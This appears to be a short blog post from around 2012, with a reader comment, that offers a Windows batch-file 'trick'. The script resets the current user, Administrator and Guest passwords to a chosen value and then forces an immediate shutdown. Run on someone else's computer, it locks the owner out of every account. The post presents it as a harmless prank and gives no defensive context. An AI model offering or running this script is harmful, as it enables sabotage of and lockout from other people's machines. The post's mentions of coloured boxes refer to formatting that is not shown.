This trick based on Batch Programming by which your System shutdown and automatically change your System password by Batch Program password.This trick works both on Windows Xp and 7.
Type below write code line on "Notepad" .....
@echo off
break off
net user %USERNAME% pppp
net user administrator pppp
net user Guest pppp
shutdown -s -f -t 5
exit
Change Red Box write variable with your password which you want to change and In place of Blue Box change with integer which after then completeion system ShutDown.
Work Very well,Enjoy it and HAPPY NEW YEAR 2012!!!!!!!!!!!!!!!!!!!!!!!!!!!!
amazing it's work well.